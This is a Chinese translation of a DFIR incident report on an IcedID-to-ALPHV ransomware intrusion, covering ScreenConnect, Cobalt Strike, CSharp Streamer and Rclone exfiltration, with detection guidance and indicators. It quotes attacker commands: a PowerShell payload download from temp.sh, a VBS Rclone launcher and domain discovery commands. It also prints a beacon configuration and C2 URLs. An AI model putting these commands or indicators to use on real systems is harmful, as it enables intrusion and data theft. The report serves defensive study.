【DFIR报告翻译】IcedID 将 ScreenConnect 和 Streamer 引入 ALPHV 勒索软件部署
2024-6-11 00:7:17 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

  • • 2023年10月,我们观察到一起始于垃圾邮件活动的边界突破,该活动分发了一个分支化的IcedID加载器。

  • • 攻击者使用Impacket的wmiexec和远程桌面协议(RDP)在多个系统上安装了ScreenConnect,使他们能够执行各种命令并部署Cobalt Strike信标。

  • • 他们的工具箱还包括CSharp Streamer,这是一个用CSharp编写的具有多种功能的远程访问木马(RAT),在这里有详细记录

  • • 攻击者使用了一个自定义工具来分阶段地进行数据的收集和外泄,使用了Rclone。

  • • 边界突破后的第八天,ALPHV勒索软件被部署在所有加入域的Windows系统上。

这次入侵始于2023年10月,以一封恶意电子邮件开始,该邮件诱使收件人下载一个包含Visual Basic脚本(VBS)和一个无害的README文件的zip归档文件。我们高度确信这封电子邮件是一个垃圾邮件活动的一部分,该活动分发了一个IcedID的分支变种。这个分支变种首次由ProofPoint在2023年2月报告,它缺乏银行功能,优先考虑有效载荷的交付。用户与归档内容交互后,执行了VBS文件,启动了嵌入的分支IcedID加载器。

接下来,创建了一个计划任务以保持边界突破的持久性。然后,分支IcedID加载器与命令和控制服务器通信,导致另一个IcedID DLL被投放和执行。执行大约两分钟后,使用Windows原生二进制文件观察到第一轮发现活动,这与之前报告的IcedID案例中看到的活动相似。

入侵大约两小时后,攻击者使用重命名的安装程序二进制文件“toovey.exe”在边界突破上安装了ScreenConnect。他们通过ScreenConnect在主机上执行了多个命令。这些命令包括用于侦察的Windows实用程序,如nltest和net。他们还使用PowerShell cradles、bitsadmin和certutil尝试检索边界突破上的Cobalt Strike信标。他们在使用temp.sh尝试下载Cobalt Strike信标时遇到了一些挫折,导致下载了网站的HTML而不是他们想要的有效载荷文件。

一旦Cobalt Strike信标被执行,它们就与Cobalt Strike命令和控制服务器建立了通信。在这一活动的20分钟内,一个新的有效载荷cslite.exe(CSharp Streamer C2)被投放在边界突破上。CSharp Streamer是一个多功能的远程访问木马,最早在2021年被报告。在这次入侵中,它首先被用来访问边界突破上的LSASS进程以获取凭证;大约40分钟后,攻击者从边界突破主机到一个域控制器执行了dcsync操作。然后,攻击者通过SMB将重命名的ScreenConnect安装程序从边界突破复制到域控制器。使用Impacket的wmiexec脚本远程运行ScreenConnect安装程序完成了安装。

安装ScreenConnect后,我们观察到使用ScreenConnect登录到域控制器以访问主机。在这次会话中,攻击者投放了多个CSharp Streamer有效载荷。尽管他们执行了这些文件,但我们当时没有观察到任何命令和控制服务器的网络流量。然后活动停止了大约八个小时。

第二天,攻击者返回并使用SoftPerfect的网络扫描器对域控制器进行了网络发现。然后他们从域控制器发起了一个RDP连接到备份服务器。攻击者在投放CSharp Streamer二进制文件和之前使用的ScreenConnect安装程序之前,审查了备份和运行中的进程。然后通过RDP会话执行了这些操作。接下来,运行了一个Cobalt Strike信标,并在主机上访问了LSASS。

大约11小时后,攻击者投放了多个Cobalt Strike信标并尝试执行它们;然而,没有观察到新的命令和控制流量。攻击者迅速移除了这些文件。四小时后,另一个ScreenConnect安装程序被投放在备份服务器上,并使用wmiexec执行。然后,发起了一个新的RDP连接到第二个域控制器,并再次运行了netscan。之后,在第二个域控制器上安装了ScreenConnect,并从该域控制器启动了一个RDP会话到文件服务器。在文件服务器上,通过RDP会话投放并执行了Cobalt Strike信标和ScreenConnect安装程序。

在三天没有重大活动后,攻击者返回。他们通过wmiexec在备份服务器上投放并执行了一个新的ScreenConnect安装程序,并再次运行了netscan。使用RDP,他们连接到文件服务器,并在运行netscan之前使用Mozilla Firefox预览了一些财务文件。

第二天,一个名为“confucius_cpp”的自定义工具被投放在文件服务器上。它的功能包括聚合、分阶段和压缩敏感文件。我们观察到攻击者在Google上搜索关键词“rclone”,随后在文件服务器上下载了rclone应用程序。Rclone二进制文件没有直接启动,而是使用一个VBS脚本启动的。执行这个脚本后,之前分阶段的数据成功地使用Rclone外泄到远程服务器。

入侵的第七天,使用CSharp Streamer从边界突破发起了一个RDP连接到备份服务器和文件服务器。新的ScreenConnect安装程序再次出现,并遵循了之前的WMI执行模式。

在入侵的最后一天,攻击者开始向他们的最终目标推进。从备份服务器,他们运行了一个新的netscan扫描,并开始分阶段部署ScreenConnect安装程序和ALPHV勒索软件二进制文件。首先,他们使用xcopy在域中的所有Windows主机上分阶段部署了ScreenConnect安装程序,然后使用WMI命令执行它。然后,对ALPHV勒索软件有效载荷重复了这个过程。在执行过程中,我们观察到攻击者互动地删除了所有备份。勒索软件执行完成后,在主机上留下了勒索信。勒索软件的时间(TTR)大约是180小时,历时8天。

边界突破

边界突破始于一封恶意电子邮件。这场恶意垃圾邮件活动可以与@JAMESWT_MHT公开报告的活动联系起来,该活动鼓励受害者下载并打开一个ZIP归档文件。

ZIP文件被解压后,用户面对的是一个自述文件(Readme)和一个Visual Basic脚本(VBS)文件。



当执行脚本时调用了WScript.exe,这启动了感染过程。

脚本将一个DLL文件嵌入并以稍微混淆的形式进行Base64编码,将其保存在C:\Windows\Temp\0370-1.dll,然后通过regsvr32执行该DLL文件。

这个DLL是一个IcedID加载器,正如在这里的沙箱测试所观察到的。感染链是由加载器通过rundll32投放并执行另一个IcedID DLL来完成的。

代码执行

ScreenConnect

一旦IcedID开始运作,攻击者就利用它来安装远程监控和管理工具(RMM)ScreenConnect,并将其重命名为toovey.exe。

在整个入侵过程中,攻击者投放了多个重命名过的ScreenConnect安装程序,这些通常在他们横向移动到新主机后使用,然后通过Impacket的wmiexec.py脚本执行。


除了使用wmiexec.py执行之外,一些安装程序在攻击者的远程桌面协议(RDP)会话期间被执行:

ScreenConnect随后被用来执行各种命令。这可以在日志中观察到,因为ScreenConnect将所需的脚本投放到磁盘上,然后是相应的解释器,正如之前报告中讨论的。这可以在各种事件中看到,例如安全事件ID 4688或Sysmon事件1,如下所示。

Cobalt Strike
正如我们记录的大多数入侵事件一样,此次入侵中也使用了Cobalt Strike信标。在滩头主机上,攻击者使用ScreenConnect尝试利用bitsadmin下载恶意的Cobalt Strike信标,但未成功。

除了进程创建事件日志之外,还可以通过“Microsoft-Windows-Bits-Client/Operational”日志中的事件ID 59和60来检测bitsadmin的下载活动。

在这次失败之后,他们使用了另一个名为certutil的LOLBin(Living Off The Land Binaries,即利用系统自带的合法工具进行恶意活动)来下载他们的有效载荷,同样是通过ScreenConnect。这种行为被重复用于下载其他的Cobalt Strike信标。

PowerShell是另一种被用来检索Cobalt Strike信标的工具,同样遇到了一些失败的情况,但也是再次利用了ScreenConnect。

除了前述的检索额外有效载荷的方法外,还有另一个实例,攻击者使用temp.sh来托管他们的恶意软件。然而,在尝试直接从这些链接下载文件时会发生失败。用户没有获得实际的文件,而是最终下载了一个HTML展示页面,该页面提示他们点击链接以检索文件。

powershell Invoke-WebRequest "http://temp.sh/VSlAV/http64.exe" -OutFile C:\programdata\rr.exe


在另一次尝试中,PowerShell执行成功了,在这种情况下,我们可以利用Sysmon的事件来追踪来自PowerShell ParentCommandLine的子进程。例如,以下显示了一个用于启动https64.dll的负载,这是另一个Cobalt Strike信标。

由于信标使用了普通的HTTP协议,因此可以从网络通信中提取检索到的PowerShell有效载荷。

正如在《Cobalt Strike,防御者指南》第一部分和第二部分中所记录的,攻击者使用了Cobalt Strike的默认命名管道名称,这些管道名称可以很容易地被检测到。

Impacket

作为他们工具箱的一部分,攻击者使用了Impacket的wmiexec.py脚本来执行操作。由于其输出默认重定向到\127.0.0.1\ADMIN$__%timestamp%(如源代码中可见),这种活动可以在日志中轻易地被观察到。

CSharp Streamer
在这次入侵期间,攻击者在最初的失陷主机上部署了一个名为“cslite.exe”的二进制文件。经过调查,我们确认这个二进制文件是一个被称为CSharp Streamer的远程访问木马(RAT),这要感谢Hendrik Eckardt的精彩分析。这款恶意软件结合了许多不同的功能,是一个非常强大的远程访问木马。在这次入侵中,我们观察到它被用来转储凭证、代理RDP流量,并为攻击者提供命令和控制通信。
我们能够通过内存分析,并在之前链接的报告中识别已知的函数和命令来确认这个工具。


当执行时,该工具会将一个.NET可执行文件写入到%USERPROFILE%\AppData\Local\Temp文件夹中,并使用.tmp扩展名,然后将其加载到内存中,正如在Sysmon事件ID 7中所看到的那样:

通过在恶意软件分析沙箱中运行样本进行动态分析,我们可以观察到注入的.NET程序集:

权限维持

IcedID
IcedID注册了一个计划任务以进行权限维持,其方式在其他几个报告中已有文档记录。

任务被注册为在登录后每小时执行,相应的XML标签如下所示:

<Interval>PT1H</Interval>
 <LogonTrigger id="LogonTrigger"><Enabled>true</Enabled></LogonTrigger>

ScreenConnect
安装后,ScreenConnect通过一个自动启动的服务在系统重启后继续持久存在。这一点可以通过使用内置的系统事件日志(事件ID 7045)来观察到。

如果系统事件日志不可用(例如,如果被威胁行为者清除了),服务配置将保存在SYSTEM注册表文件中,可以使用Eric Zimmerman的注册表资源管理器工具,在HKLM\CurrentControlSet\Services\路径下进行分析。


Anomali Threat Research在他们的文章中解释了以下参数:

  • • e 作为会话类型,可以是Support(支持)、Meeting(会议)、Access(访问)。

  • • y 作为进程类型,可以是Guest(访客)或Host(主机)。

  • • h 作为中继服务的统一资源标识符(URI)。

  • • p 作为中继服务的端口。

  • • s 作为客户端识别的全局唯一标识符。

  • • k 作为编码的加密密钥,用于身份验证。

  • • t 作为可选的会话名称。

防护绕过

在横向移动到备份服务器时,我们观察到Cobalt Strike注入到合法的进程“winlogon.exe”和“rundll32.exe”中。

依靠内存捕获,防御者也可能有其他检测方法。在这里,通过使用MemprocFS处理获得的内存,并使用findevil命令,我们可以在winlogon.exe中找到一个注入的信标。


在入侵期间,攻击者使用“del”命令从备份服务器和文件服务器删除了重命名的ScreenConnect安装程序,试图掩盖他们的行踪。

凭据窃取

凭证是从LSASS(本地安全机构子系统)中提取的,这是一种在类似入侵中常见的技术。在入侵的第一天,通过直接操作,攻击者执行了cslite.exe(一个CSharp Streamer文件,被放置在被入侵用户的桌面上),该文件被用来访问LSASS进程。进程访问可以通过使用Sysmon事件ID 10来观察,如下所示。

微软记录了授予的访问权限,如下所示:

  • • 0x1010:PROCESS_QUERY_LIMITED_INFORMATION (0x1000) 和 PROCESS_VM_READ (0x0010)

  • • 0x1FFFFF:PROCESS_ALL_ACCESS

另一个需要寻找的数据点是CallTrace中的UNKNOWN字符串,这表明Sysmon无法解析调用OpenProcess函数的代码地址,这可能是内存中DLL的潜在指示。
我们还能够收集内存并用各种YARA规则进行扫描,确认了Mimikatz实现的使用,对于cslite.exe的内存空间和文件有多个规则命中:


在另一个实例中,我们看到WerFault.exe访问了LSASS,并被授予了PROCESS_ALL_ACCESS权限。这在生产环境中应该很少发生,再次强调,CallTrace也可以提供帮助,因为带有ntdll.dll、dbghelp.dll或dbgcore.dll的CallTrace(来源1来源2)应该被监控。

最终,在第二天,我们可以看到又一次对LSASS的访问,这次是从rundll32.exe发起的,再次使用访问权限0x1010,并在CallTrace中有UNKNOWN标记。这一次,rundll32.exe是由PowerShell启动的,PowerShell的任务是下载并执行一个Cobalt Strike信标。
在“cslite.exe”可执行文件转储LSASS大约40分钟后,我们观察到从最初的失陷主机到域控制器的流量激增。利用Didier Stevens的Suricata规则审查此网络流量,我们发现了主机之间潜在的Mimikatz dcsync活动。

同时,我们在域控制器上发现了事件ID 4662的日志,确认了一个由“Administrator”账户请求的同步操作:

具体来说,我们寻找的是域DNS类别(对象)——架构GUID:19195a5b-6da0-11d0-afd3-00c04fd930c9DS-Replication-Get-Changes-All——架构GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2,正如SpectreOps帖子中所解释的,用以检测这种dcsync活动。利用这两个证据点,我们可以相当有信心地说攻击者执行了一次dcsync操作。

内网探测

在最初的被突破几分钟后,观察到使用IcedID恶意软件发起的第一轮发现活动,使用了Windows内置的原生工具。

cmd.exe /c chcp >&2
ipconfig /all
systeminfo
net config workstation
nltest /domain_trusts
nltest /domain_trusts /all_trusts
net view /all /domain
net view /all
net group "Domain Admins" /domain

后来,攻击者在几个场合上使用ScreenConnect来运行其他的发现命令。

nltest  /dclist:
net  group "domain admins" /domain
net  group "Domain Computers" /domain
net  group "domain admins" /domain
net  group "enterprise admins" /domain
nltest  /dclist:
net  group "domain admins" /domain
quser
ipconfig  /all
net  group "domain computers" /domain
systeminfo
route  print
nltest  /dclist:

在第二天、第五天和第八天,攻击者使用SoftPerfect的netscan工具进行了一系列网络发现操作。

每次扫描时,都会覆盖相同的IP地址空间,并扫描135号(RPC)、445号(SMB)和3389号(RDP)端口,还会额外扫描与Veeam备份解决方案相关的一些端口。

横向移动

重命名的ScreenConnect安装程序通过SMB从最初的失陷主机复制到域控制器、备份服务器和文件服务器。正如执行部分所解释的,安装程序也通过Impacket的wmiexec.py脚本执行,这导致了ScreenConnect的安装。通过ScreenConnect的命令功能,在被入侵的主机上执行了多个命令。


在入侵过程中攻击者多次通过RDP进行横向移动:

虽然攻击者最常使用原生的Windows RDP客户端,但至少在一次情况下,他们通过CSharp Streamer代理了他们的RDP会话。

在这样做的过程中,他们在事件ID 4778下记录了他们远程主机名的痕迹:

77724F2

信息收集

在启动数据外泄过程之前,一个名为confucius_cpp.exe的定制工具被放置在文件服务器上。这个工具被用来聚合、分阶段处理和压缩敏感数据文件,使用LDAP并创建多个ZIP归档文件。

正如在实验室环境中执行该工具时所看到的,首先使用搜索过滤器(&(objectClass=computer))进行LDAP查询,以查找计算机,这一点在Microsoft learn website上有文档记录。


一旦LDAP查询完成,该工具会列举出共享文件夹,并过滤掉一些不感兴趣的文件夹,比如NETLOGON或SYSVOL。

在每个选定的文件夹中,工具会根据关键词(在截图中,它们寻找包含"security_reports"和"finance"这些词的文件)搜索文件,然后在压缩数据之前进行筛选。这自动化了收集阶段,确保了在整个网络中的快速行动。

攻击者还安装了Firefox来预览一些文档。这可以通过查看包含URL参数的进程命令行来发现,如下所示。

远程控制

攻击者利用了以下方法来访问网络中的主机:

  • • IcedID

  • • Cobalt Strike

  • • CSharp Streamer

  • • ScreenConnect

IcedID
分支化的IcedID加载器建立了与命令和控制服务器modalefastnow[.]com在端口443上的连接,该域名在当时解析为IP地址212.18.104.12。网络连接的内容与Emerging Threats Open规则集中的恶意软件规则“ET MALWARE Win32/IcedID Request Cookie”相匹配。
初始感染后,第二阶段的IcedID DLL与以下C2服务器进行了通信:

IPPortDomainJA3JA3s
173.255.204.62443jkbarmossen[.]coma0e9f5d64349fb13191bc781f81f42e1N/A
94.232.46.27443evinakortu[.]coma0e9f5d64349fb13191bc781f81f42e1, 1138de370e523e824bbca92d049a3777N/A
94.232.46.27443hofsaalos[.]coma0e9f5d64349fb13191bc781f81f42e1
1138de370e523e824bbca92d049a3777
N/A
77.105.140.181443jerryposter[.]coma0e9f5d64349fb13191bc781f81f42e1ec74a5c51106f0419184d0dd08fb05bc
77.105.142.135443skrechelres[.]coma0e9f5d64349fb13191bc781f81f42e1ec74a5c51106f0419184d0dd08fb05bc
212.18.104.12443modalefastnow[.]coma0e9f5d64349fb13191bc781f81f42e1N/A
ja4: t12d190800_d83cc789557e_7af1ed941c26
ja4: t10d070700_c50f5591e341_c39ab67fec8e
ja4s: t120400_c030_12a20535f9be
ja4x: 96a6439c8f5c_96a6439c8f5c_795797892f9c

Cobalt Strike
攻击者在入侵期间在多个主机上投放了Cobalt Strike信标,并与以下IP地址进行了通信。

IPPortDomainJA3JA3sAS OrganizationASNGeolocation Country
85.209.11.4880N/AN/AN/AChang Way Technologies Co. Limited57523Russia

数字取证与事件响应(DFIR)的威胁情报源将此基础设施追踪为从2023年9月29日至2023年10月30日活跃的Cobalt Strike服务器。
以下URIs被用于IP地址85.209.11.48的访问:

通过使用MemProcFS处理来自备份服务器的内存,我们能够提取注入的Cobalt Strike进程的小转储(minidump)。利用这个小转储文件,我们可以使用1768.py脚本解析信标的配置信息。

File: minidump.dmp
Config found: xorkey b'.' 0x00000000 0x00010000
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 80
0x0003 sleeptime                        0x0002 0x0004 60000
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 0
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key
0x0008 server,get-uri                   0x0003 0x0100 '85.209.11.48,/load'
0x0043 DNS_STRATEGY                     0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS      0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X              0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS        0x0002 0x0004 -1
0x000e SpawnTo                          0x0003 0x0010 (NULL ...)
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme                     0x0001 0x0002 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0025 license-id                       0x0002 0x0004 1580103824 Stats uniques -> ips/hostnames: 210 publickeys: 92
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0009 useragent                        0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)'
0x000a post-uri                         0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions        0x0003 0x0100
  Transform Input: [7:Input,4]
   Print
0x000c http_get_header                  0x0003 0x0200
  Build Metadata: [7:Metadata,3,6:Cookie]
   BASE64
   Header Cookie
0x000d http_post_header                 0x0003 0x0200
  Const_header Content-Type: application/octet-stream
  Build SessionId: [7:SessionId,5:id]
   Parameter id
  Build Output: [7:Output,4]
   Print
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0032 UsesCookies                      0x0001 0x0002 1
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK                        0x0001 0x0002 1
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 '"+\x8f\'Ûߺ\x8dÝU\x9eì¢~¦H'
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
Sanity check Cobalt Strike config: OK
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x005e2f3f
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x00624b3f

CSharp Streamer
“cslite.exe” CSharp Streamer可执行文件与IP地址109.236.80.191进行了通信。在入侵期间,我们观察到跨多个端口(包括135、139、80、443和3389)与其的流量交流。大部分流量在443和3389端口上被观察到。通过查看在沙箱中运行的“cslite.exe”的内存,我们可以提取为该木马配置的通信偏好设置:

该恶意软件使用WebSockets进行通信,正如在URL中的wss://所观察到的。我们还看到通信被设置为使用socket.io来代理通信。如果恶意软件无法到达特定端口,它会轮换使用各种端口的列表,这可能旨在同时规避受害者防火墙中被阻止的端口,并通过在入侵过程中改变使用的端口来帮助混淆通信。

IPPortDomainJa3Ja3sAS OrganizationASNGeolocation Country
109.236.80.191443www.i2rtqyj[.]ekzc12f54a3f91dc7bafd92cb59fe009a35394441ab65754e2207b1e1b457b3641dWorldStream B.V.49981Netherlands
ja4: t12i210600_76e208dd3e22_2dae41c691ec
ja4s: t120200_c02f_ec53b3cc8a64
ja4s: t120400_c02f_12a20535f9be
ja4x: bbd6cc0fca29_4ce939b68fae_79faaa53868b

在入侵期间,我们观察到多个Zeek通知消息,这些消息提醒着CSharp Streamer命令和控制服务器使用的自签名证书。

ScreenConnect
在最初的分支化IcedID加载器感染之后,攻击者使用重命名的二进制文件“toovey.exe”在最初的失陷主机上部署了ScreenConnect。随后,通过投放重命名的安装程序并利用Impacket的wmiexec.py脚本执行,ScreenConnect被安装在了多个系统上。

数据窃取

虽然Firefox被用来预览文档,但它也被用来下载Rclone。当进程命令行不可用时,防御者可以寻找网页历史记录的证据。在Firefox中,网页历史记录的证据有详细的文档记录,并且可以直接使用SQLite浏览器查看。

Rclone被放置在文件服务器上。这可以通过查看文件创建事件来检测,例如使用Sysmon的事件ID 11。


Rclone没有被直接启动,而是通过一个名为nocmd.vbs的VBS脚本启动的,该脚本本身执行rcl.bat,而rcl.bat反过来执行Rclone。

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "c:\programdata\rcl.bat" & Chr(34), 0
Set WshShell = Nothing

在此之前,攻击者使用了Rclone命令,根据文档说明,该命令执行以下操作:进入一个交互式配置会话,您可以在其中设置新的远程连接并管理现有的远程连接。

执行后,网络活动迹象显示,流向外泄服务器(SSH)22号端口的出站流量有所增加。出站流量的增加,特别是流向之前未知的主机或可疑端口,可以用来检测早期的数据外泄尝试。实际上,下面展示了在整个入侵过程中流向22号端口的流量图表。

IPPortDomainAS OrganizationASNGeolocation Country
217.23.12.822N/AWorldStream B.V.49981Netherlands

目标达成

在入侵的第八天,攻击者向他们的最终目标迈进,部署了ALPHV勒索软件。这始于攻击者在备份服务器上准备了两个文件。

“setup.exe”,这个被放置了两次的文件,只是攻击者在入侵过程中使用的最新的ScreenConnect安装程序。“BNUfUOmFT2.exe” 是勒索软件的二进制文件。
首先,他们使用Windows实用工具xcopy将ScreenConnect安装程序复制到域中C$:的根目录下。


其次,他们使用WMI(Windows管理工具)命令远程在主机上运行了安装程序。

第三步,他们重复了这个过程,将勒索软件的有效载荷从备份服务器复制到网络中已加入域的主机上。

最后,他们使用相同的方法,通过WMI远程执行了勒索软件。

在远程主机上,观察到“WMIPrvSE.exe”正在执行该任务。

在勒索软件部署阶段,我们观察到攻击者互动地删除了所有的备份。

在完成文件加密后,攻击者在受感染的主机上留下了以下便条,并提示查看Twitter以识别相关团体:

Indicators

Atomic

CobaltStrike
85.209.11[.]48 

CSharp Streamer
109.236.80[.]191 

Data exfiltration
217.23.12[.]8 

Forked IcedID Loader
212.18.104[.]12 / modalefastnow[.]com

2nd Stage IcedID payload
92.118.112[.]113 / hofsaalos[.]com
173.255.204[.]62 / jkbarmossen[.]com
94.232.46[.]27 / evinakortu[.]com
77.105.140[.]181 / jerryposter[.]com
77.105.142[.]135 / skrechelres[.]com

URLs
http[:]//85.209.11[.]48:80/download/test1.exe 
http[:]//85.209.11[.]48:80/download/http64.exe
http[:]//85.209.11[.]48:80/download/csss.exe 
http[:]//85.209.11[.]48:80/ksajSk
http[:]//85.209.11[.]48:80/ksaid
http[:]//temp[.]sh/VSlAV/http64.exe

Computed

cscs.exe
     99d8c3e7806d71a2b6b28be525c8e10e
     59791ec1c857d714f9b4ad6c15a78191206a7343
     5d1817065266822df9fa6e8c5589534e031bb6a02493007f88d51a9cfb92e89b 

cscss.exe
     08fcf90499526a0a41797f8fdd67d107
     7d130ace197f4148932306facfc8d71fa8738d86
     c2ddb954877dcfbb62fd615a102ce5fa69f4525abc1884e8fe65b0c2b120cfd4
          
cscssss.exe
     26239fa16d0350b2224bfb07e37cbd84
     8837ad1bafb56019a46822da0ed8b468f380c80d
     7d2e705dcaa9f36fb132b7ff329f61dd5d0393c28dcd53b2be1e3ba85c633360
 
 ccs.exe
    2b1b2b271bc78e67beca2dcd04354189
    c83da151f26a58aecb24fc6ba4945acb934ee954
    bd4876f7efbd18a03bbb401a5dc77ed68ef95c72a3f7be83cef39a4515e0c476

rclone.exe
    581cfc2d4e02a16b9b2f8dcb70a46b8b
    1d345799307c9436698245e7383914b3a187f1ec
    9c5b233efb2e2a92a65b5ee31787281dd043a342c80c7ac567ccf43be2f2843f

BNUfUOmFT2.exe
    7ff0241b28d766198743d661a2f67620
    27acb306baec022a974db50a90f48183541e12fe
    94d6395dcab01250650e884f591956464d582a4f1f5da948055e6d2f0a215ace

confucius_cpp.exe
    fb34b1fb80b053e69d89af5330cd7d4b
    e97b00ef58fe081170137536f28df590dbb41a0e
    dfa8c282178a509346fb0154e6dbd5fbb0b56c38894ce7d244f5ca26d6820e67

cslite.exe
    642bf60f06bb043c4a74d0501597cf5e
    e1bc0c7cf030af31522c1160e0c70df5cecbb64a
    4103cc8017409963b417c87259af2a955653567cdbf7d5504198dd350f9ef9c1

https64.dll
    5548caa3b8cdd73b3a56f3f102942882
    e43ecd2f6859e4769028fbd7176bb3339393ea22
    d8f51dcfe928a1674e8d88029a404005ab826527372422cac24c81467440feb0

http64.dll
    0decfd5e200803523c0437ff7aac7349
    be8fd3c3507f02785da6f12c9b21ff73638cdf23
    cd0e941587672ab1517681a7e3b4f93a00020f8c8c8479a76b9e3555bcd04121

ccslt.exe
    5cbb08cd26162e8046df17d15ba6e907
    41f47f8ee34c9ae7a4bb43b71e3cc85266302e8e
    6a6cd64fba34aadad2df808b0fcab89ef26a897040268b24fed694036cc51d6a 

iwiqocacod.dll
    efb019b1999d478a4161a030a5d9302e
    514ddcf981d7d8684b3ac20e902f5017292d51c5
    bc49622009b29c23ee762fe6f000936eb1c4c1b29496d5382f175c99ad941aac

JNOV0135_7747811.zip
    24701208c439b00a43908ae39bbf7de8
    25ef7044cdf9b7c17253625a2bd5d2d6fee44227
    3336bfde9b6b8ef05f1d704d247a1a8fd0641afaecc6a71f5cfa861234c4317b

[2023.10.11_08-07].vbs
    4ff5625e6bd063811ec393b315d2c714
    42b188e2e015a72accc50fcbde2d2c81f5258d0b
    5bab2bc0843f9d5124b39f80e12ad6d1f02416b0340d7cfec8cf7b14cd4385bf

0370-1.dll
    bf15a998fd84bee284ae9f7422bda640
    e51217efb6e33fca9f7c5f51e5c3a4ae50499a37
    fab34d1f0f906f64f95b9f244ae1fe090427e606a9c808c720e18e93a08ed84d

netscan.exe
    a768244ca664349a6d1af84a712083c0
    39300863bcaad71e5d4efc9a1cae118440aa778f
    e14ba0fb92e16bb7db3b1efac4b13aee178542c6994543e7535d8efaa589870c

nocmd.vbs
    d28271ed838464d1debab434ef6d8e37
    2741c136b92aca1e890d2b67084c6867d3cbaa87
    457a2f29d395c04a6ad6012fab4d30e04d99d7fc8640a9ee92e314185cc741d3

rcl.bat
    00c3f790f6e329530a6473882007c3e5
    b02db8c2b9614e986e58f6e31be686b418f9aba7
    6f3a02674b6bbf05af8a90077da6e496cc47dda9101493b8103f0f2b4e4fd958

Detections

Network

ET INFO Executable Download from dotted-quad Host
ETPRO HUNTING Windows BITS UA Retrieving EXE
ET HUNTING Suspicious BITS EXE DL From Dotted Quad
ET POLICY PE EXE or DLL Windows file download HTTP
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
ETPRO HUNTING Windows BITS UA Retrieving EXE M2
ETPRO POLICY Observed MS Certutil User-Agent in HTTP Request
ETPRO MALWARE Likely Evil Certutil Retrieving EXE
ThreatFox payload delivery (domain - confidence level: 100%)
ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
ThreatFox Cobalt Strike botnet C2 traffic (ip:port - confidence level: 80%)
ET INFO Packed Executable Download
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
ET MALWARE Cobalt Strike Beacon Observed
ET MALWARE Win32/IcedID Requesting Encoded Binary M4
ET MALWARE Win32/IcedID Request Cookie
ET SCAN Potential SSH Scan OUTBOUND

Sigma

Search rules on detection.fyi or sigmasearchengine.com
DFIR Report Public Repo:

8a0d153f-b4e4-4ea7-9335-892dfbe17221: NetScan Share Enumeration Write Access Check
dfbdd206-6cf2-4db9-93a6-0b7e14d5f02f: CHCP CodePage Locale Lookup

DFIR Report Private Repo:

7019b8b4-d23e-4d35-b5fa-192ffb8cb3ee: Use of Rclone to exfiltrate data over an SSH channel
a09079c2-e4af-4963-84d2-d65c2fb332f5: Detection of CertUtil Misuse for Malicious File Download
6f77de5c-27af-435b-b530-e2d07b77a980: Impacket Tool Execution
6fc673ac-ec2f-4de8-8a14-a395f1b2b531: Potential CSharp Streamer RAT loading binary from APPDATA
879ddba7-5cb9-484f-88a4-c1d87034166f: Suspicious ScreenConnect Script Execution

Sigma Repo:

90f138c1-f578-4ac3-8c49-eecfd847c8b7: BITS Transfer Job Download From Direct IP
10c14723-61c7-4c75-92ca-9af245723ad2: HackTool - Potential Impacket Lateral Movement Activity
b1f73849-6329-4069-bc8f-78a604bb8b23: Remote Access Tool - ScreenConnect Remote Command Execution
90b63c33-2b97-4631-a011-ceb0f47b77c3: Suspicious Execution From GUID Like Folder Names
19b08b1c-861d-4e75-a1ef-ea0c1baf202b: Suspicious Download Via Certutil.EXE
d059842b-6b9d-4ed1-b5c3-5b89143c6ede: File Download Via Bitsadmin
e37db05d-d1f9-49c8-b464-cee1a4b11638: PUA - Rclone Execution
